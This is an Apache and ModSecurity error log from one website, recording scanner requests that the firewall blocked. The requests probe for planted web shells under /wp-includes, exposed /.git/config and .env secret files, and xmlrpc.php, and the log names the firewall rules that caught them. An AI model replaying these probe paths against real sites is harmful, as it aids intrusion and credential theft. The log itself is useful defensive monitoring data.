[Sun Dec 07 16:05:36.502652 2025] [proxy_fcgi:error] [pid 25601:tid 25638] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Sun Dec 07 16:05:36.620311 2025] [proxy_fcgi:error] [pid 25601:tid 25654] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Sun Dec 07 16:05:36.737884 2025] [proxy_fcgi:error] [pid 25601:tid 25635] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Sun Dec 07 16:05:36.857271 2025] [proxy_fcgi:error] [pid 25601:tid 25648] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Sun Dec 07 16:05:36.975597 2025] [proxy_fcgi:error] [pid 25601:tid 25655] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Sun Dec 07 16:05:37.095725 2025] [proxy_fcgi:error] [pid 25601:tid 25656] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Sun Dec 07 16:05:37.213463 2025] [proxy_fcgi:error] [pid 25601:tid 25647] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Sun Dec 07 16:05:37.330906 2025] [proxy_fcgi:error] [pid 25601:tid 25649] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Sun Dec 07 16:05:37.569419 2025] [proxy_fcgi:error] [pid 25601:tid 25640] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Sun Dec 07 16:05:37.686595 2025] [proxy_fcgi:error] [pid 25601:tid 25653] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Sun Dec 07 16:05:37.806116 2025] [proxy_fcgi:error] [pid 25601:tid 25659] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Sun Dec 07 16:05:37.925753 2025] [proxy_fcgi:error] [pid 25601:tid 25645] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Sun Dec 07 16:05:38.043260 2025] [proxy_fcgi:error] [pid 25601:tid 25646] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Sun Dec 07 16:05:38.397644 2025] [proxy_fcgi:error] [pid 25601:tid 25651] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Sun Dec 07 16:05:38.515811 2025] [proxy_fcgi:error] [pid 25601:tid 25644] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Sun Dec 07 16:05:38.755827 2025] [proxy_fcgi:error] [pid 25601:tid 25641] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Sun Dec 07 16:05:38.990246 2025] [proxy_fcgi:error] [pid 25601:tid 25638] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Sun Dec 07 16:05:39.355322 2025] [proxy_fcgi:error] [pid 25601:tid 25650] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Sun Dec 07 16:05:39.475451 2025] [proxy_fcgi:error] [pid 25601:tid 25648] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Sun Dec 07 16:05:39.711739 2025] [proxy_fcgi:error] [pid 25601:tid 25643] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Sun Dec 07 16:05:39.948683 2025] [proxy_fcgi:error] [pid 25601:tid 25647] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Sun Dec 07 16:05:40.067028 2025] [proxy_fcgi:error] [pid 25601:tid 25649] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Sun Dec 07 16:05:40.188223 2025] [proxy_fcgi:error] [pid 25601:tid 25639] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Sun Dec 07 16:05:40.542987 2025] [proxy_fcgi:error] [pid 25601:tid 25659] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Sun Dec 07 16:05:40.899320 2025] [proxy_fcgi:error] [pid 25601:tid 25652] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Sun Dec 07 16:05:43.058403 2025] [proxy_fcgi:error] [pid 25601:tid 25650] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Sun Dec 07 16:05:44.028755 2025] [proxy_fcgi:error] [pid 25601:tid 25639] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Sun Dec 07 16:05:44.141881 2025] [:error] [pid 25601:tid 25640] [client 4.189.120.86:5072] [client 4.189.120.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aTU1WKtsSIqGPs4YVxE_BQAAAIU"], referer: https://www.google.com/
[Sun Dec 07 16:05:44.371356 2025] [:error] [pid 25601:tid 25659] [client 4.189.120.86:5067] [client 4.189.120.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/autoload_classmap.php"] [unique_id "aTU1WKtsSIqGPs4YVxE_BgAAAJg"], referer: https://www.yahoo.com/
[Sun Dec 07 16:05:44.601404 2025] [:error] [pid 39560:tid 39579] [client 4.189.120.86:5111] [client 4.189.120.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aTU1WCtL21FvSzcnpi0cPQAAAVE"], referer: https://www.yahoo.com/
[Sun Dec 07 16:05:44.829829 2025] [:error] [pid 25602:tid 25670] [client 4.189.120.86:5110] [client 4.189.120.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aTU1WBMayYLriq9gRdffygAAAMg"], referer: https://www.google.de/
[Sun Dec 07 16:05:45.057947 2025] [:error] [pid 25694:tid 25698] [client 4.189.120.86:5074] [client 4.189.120.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aTU1WUf7996cewJ5N28jSgAAAQI"], referer: https://duckduckgo.com/
[Sun Dec 07 16:05:45.290310 2025] [:error] [pid 25601:tid 25642] [client 4.189.120.86:5063] [client 4.189.120.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aTU1WatsSIqGPs4YVxE_CAAAAIc"], referer: https://www.google.de/
[Sun Dec 07 16:05:45.518709 2025] [:error] [pid 36068:tid 36090] [client 4.189.120.86:5059] [client 4.189.120.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/index.php"] [unique_id "aTU1WVGuxqM4ZYob8lPmegAAABQ"], referer: https://duckduckgo.com/
[Sun Dec 07 16:05:45.746862 2025] [:error] [pid 25600:tid 25615] [client 4.189.120.86:5064] [client 4.189.120.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aTU1WYX3SVrXRURpt5JICQAAAEg"], referer: https://www.google.com/
[Sun Dec 07 16:05:45.974245 2025] [:error] [pid 25694:tid 25710] [client 4.189.120.86:5103] [client 4.189.120.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aTU1WUf7996cewJ5N28jSwAAAQ4"], referer: https://www.yahoo.com/
[Sun Dec 07 16:05:46.206089 2025] [:error] [pid 39560:tid 39576] [client 4.189.120.86:5117] [client 4.189.120.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/random_compat/index.php"] [unique_id "aTU1WitL21FvSzcnpi0cPwAAAU4"], referer: https://www.bing.com/
[Sun Dec 07 16:05:46.481843 2025] [:error] [pid 25694:tid 25705] [client 4.189.120.86:5116] [client 4.189.120.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aTU1Wkf7996cewJ5N28jTAAAAQk"], referer: https://www.google.co.uk/
[Sun Dec 07 16:05:46.708770 2025] [:error] [pid 25694:tid 25703] [client 4.189.120.86:5042] [client 4.189.120.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aTU1Wkf7996cewJ5N28jTwAAAQc"], referer: https://duckduckgo.com/
[Sun Dec 07 16:05:46.949227 2025] [:error] [pid 25694:tid 25714] [client 4.189.120.86:5011] [client 4.189.120.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aTU1Wkf7996cewJ5N28jUAAAARI"], referer: https://www.google.de/
[Sun Dec 07 16:05:48.474947 2025] [proxy_fcgi:error] [pid 36068:tid 36090] [client 4.189.120.86:5004] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Sun Dec 07 16:05:48.705192 2025] [:error] [pid 36068:tid 36071] [client 4.189.120.86:5004] [client 4.189.120.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/simi.php"] [unique_id "aTU1XFGuxqM4ZYob8lPmiQAAAAE"], referer: https://www.yahoo.com/
[Sun Dec 07 16:05:49.116991 2025] [:error] [pid 36068:tid 36077] [client 4.189.120.86:5085] [client 4.189.120.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aTU1XVGuxqM4ZYob8lPmjQAAAAc"], referer: https://www.google.de/
[Sun Dec 07 16:05:49.391480 2025] [:error] [pid 25602:tid 25672] [client 4.189.120.86:5075] [client 4.189.120.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/xwx1.php"] [unique_id "aTU1XRMayYLriq9gRdffzwAAAMo"], referer: https://www.google.co.uk/
[Sun Dec 07 16:05:49.620450 2025] [:error] [pid 25602:tid 25669] [client 4.189.120.86:5114] [client 4.189.120.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aTU1XRMayYLriq9gRdff0QAAAMc"], referer: https://www.google.fr/
[Sun Dec 07 16:05:49.848723 2025] [:error] [pid 25601:tid 25650] [client 4.189.120.86:5010] [client 4.189.120.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aTU1XatsSIqGPs4YVxE_DwAAAI8"], referer: https://www.bing.com/
[Sun Dec 07 16:05:50.311304 2025] [:error] [pid 36068:tid 36085] [client 4.189.120.86:5097] [client 4.189.120.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aTU1XlGuxqM4ZYob8lPmkAAAAA8"], referer: https://www.yahoo.com/
[Sun Dec 07 16:05:50.683125 2025] [:error] [pid 25694:tid 25720] [client 4.189.120.86:5012] [client 4.189.120.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aTU1Xkf7996cewJ5N28jUgAAARg"], referer: https://www.google.de/
[Sun Dec 07 16:05:50.910156 2025] [:error] [pid 36068:tid 36088] [client 4.189.120.86:5006] [client 4.189.120.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aTU1XlGuxqM4ZYob8lPmkwAAABI"], referer: https://www.google.com/
[Sun Dec 07 16:05:51.137997 2025] [:error] [pid 25600:tid 25621] [client 4.189.120.86:5018] [client 4.189.120.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/admin.php"] [unique_id "aTU1X4X3SVrXRURpt5JIEQAAAE4"], referer: https://www.yahoo.com/
[Sun Dec 07 16:05:51.365266 2025] [:error] [pid 39560:tid 39586] [client 4.189.120.86:5086] [client 4.189.120.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "aTU1XytL21FvSzcnpi0cRgAAAVg"], referer: https://www.google.de/
[Sun Dec 07 16:05:51.708743 2025] [:error] [pid 39560:tid 39578] [client 4.189.120.86:5077] [client 4.189.120.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aTU1XytL21FvSzcnpi0cSQAAAVA"], referer: https://www.google.fr/
[Sun Dec 07 16:05:51.937562 2025] [:error] [pid 25600:tid 25609] [client 4.189.120.86:4998] [client 4.189.120.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aTU1X4X3SVrXRURpt5JIEwAAAEI"], referer: https://www.google.fr/
[Sun Dec 07 16:05:52.493121 2025] [:error] [pid 25601:tid 25649] [client 4.189.120.86:5109] [client 4.189.120.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/search/index.php"] [unique_id "aTU1YKtsSIqGPs4YVxE_FAAAAI4"], referer: https://www.bing.com/
[Sun Dec 07 16:05:52.840693 2025] [:error] [pid 39560:tid 39575] [client 4.189.120.86:5013] [client 4.189.120.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "aTU1YCtL21FvSzcnpi0cTgAAAU0"], referer: https://www.google.de/
[Sun Dec 07 16:05:53.072046 2025] [proxy_fcgi:error] [pid 25694:tid 25710] [client 4.189.120.86:5032] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Sun Dec 07 16:05:53.189001 2025] [proxy_fcgi:error] [pid 25694:tid 25699] [client 4.189.120.86:5032] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Sun Dec 07 16:05:53.308083 2025] [proxy_fcgi:error] [pid 25694:tid 25709] [client 4.189.120.86:5032] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Sun Dec 07 18:13:52.306099 2025] [:error] [pid 36068:tid 36089] [client 170.64.236.239:48426] [client 170.64.236.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aTVTYFGuxqM4ZYob8lMEMAAAABM"]
[Sun Dec 07 18:13:52.373114 2025] [:error] [pid 25600:tid 25620] [client 170.64.236.239:35910] [client 170.64.236.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aTVTYIX3SVrXRURpt5JgEwAAAE0"]
[Sun Dec 07 20:31:07.532214 2025] [proxy_fcgi:error] [pid 5224:tid 5281] [client 136.144.35.233:42919] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 20:31:07.868367 2025] [proxy_fcgi:error] [pid 5224:tid 5294] [client 136.144.35.233:42919] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 20:31:08.542137 2025] [proxy_fcgi:error] [pid 5224:tid 5303] [client 136.144.35.233:42919] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 20:31:08.998216 2025] [proxy_fcgi:error] [pid 5224:tid 5299] [client 136.144.35.233:42919] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 20:31:09.333269 2025] [proxy_fcgi:error] [pid 5224:tid 5290] [client 136.144.35.233:42919] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 20:31:09.678734 2025] [proxy_fcgi:error] [pid 5224:tid 5298] [client 136.144.35.233:42919] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 20:31:10.017675 2025] [proxy_fcgi:error] [pid 5224:tid 5286] [client 136.144.35.233:42919] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 20:31:11.029317 2025] [proxy_fcgi:error] [pid 5224:tid 5292] [client 136.144.35.233:42919] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 20:31:11.364714 2025] [proxy_fcgi:error] [pid 5224:tid 5302] [client 136.144.35.233:42919] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 20:31:12.030705 2025] [:error] [pid 5224:tid 5294] [client 136.144.35.233:42919] [client 136.144.35.233] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aTVzkPAAkbWt7RJBoF_h7QAAAM0"]
[Sun Dec 07 20:31:12.690763 2025] [:error] [pid 9961:tid 9969] [client 136.144.35.233:42269] [client 136.144.35.233] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.example"] [unique_id "aTVzkGQdnfbgcnzr89JPMQAAAUY"]
[Sun Dec 07 20:31:24.351634 2025] [:error] [pid 5224:tid 5286] [client 136.144.35.223:39017] [client 136.144.35.223] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.backup"] [unique_id "aTVznPAAkbWt7RJBoF_h9AAAAMU"]
[Sun Dec 07 20:31:25.023240 2025] [:error] [pid 9961:tid 9975] [client 136.144.35.242:64469] [client 136.144.35.242] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/config/.env"] [unique_id "aTVznWQdnfbgcnzr89JPPgAAAUw"]
[Sun Dec 07 23:42:41.009322 2025] [:error] [pid 5223:tid 5258] [client 167.172.64.229:62580] [client 167.172.64.229] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.64.229, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aTWgcfoRJa-T0FB0DNoJ2QAAAIQ"]
[Sun Dec 07 23:42:41.020804 2025] [proxy_fcgi:error] [pid 5223:tid 5258] [client 167.172.64.229:62580] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 23:42:42.616911 2025] [:error] [pid 5223:tid 5269] [client 167.172.64.229:62580] [client 167.172.64.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aTWgcvoRJa-T0FB0DNoJ4gAAAI8"]
[Sun Dec 07 23:42:42.960620 2025] [:error] [pid 5223:tid 5267] [client 167.172.64.229:62983] [client 167.172.64.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aTWgcvoRJa-T0FB0DNoJ4wAAAI0"]
[Sun Dec 07 23:42:43.303186 2025] [:error] [pid 5312:tid 5316] [client 167.172.64.229:63061] [client 167.172.64.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aTWgc-aM49rasZGg_o4iUAAAAAI"]
[Sun Dec 07 23:42:43.646973 2025] [:error] [pid 9610:tid 9636] [client 167.172.64.229:63113] [client 167.172.64.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aTWgc8Z4Zl9G0UhQ7w1gGgAAARg"]
[Sun Dec 07 23:50:45.945311 2025] [:error] [pid 5224:tid 5296] [client 178.218.144.101:47866] [client 178.218.144.101] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 0, BQ 1, BW 0, DB 0, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||agraphics.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aTWiVfAAkbWt7RJBoF8KhgAAAM8"]
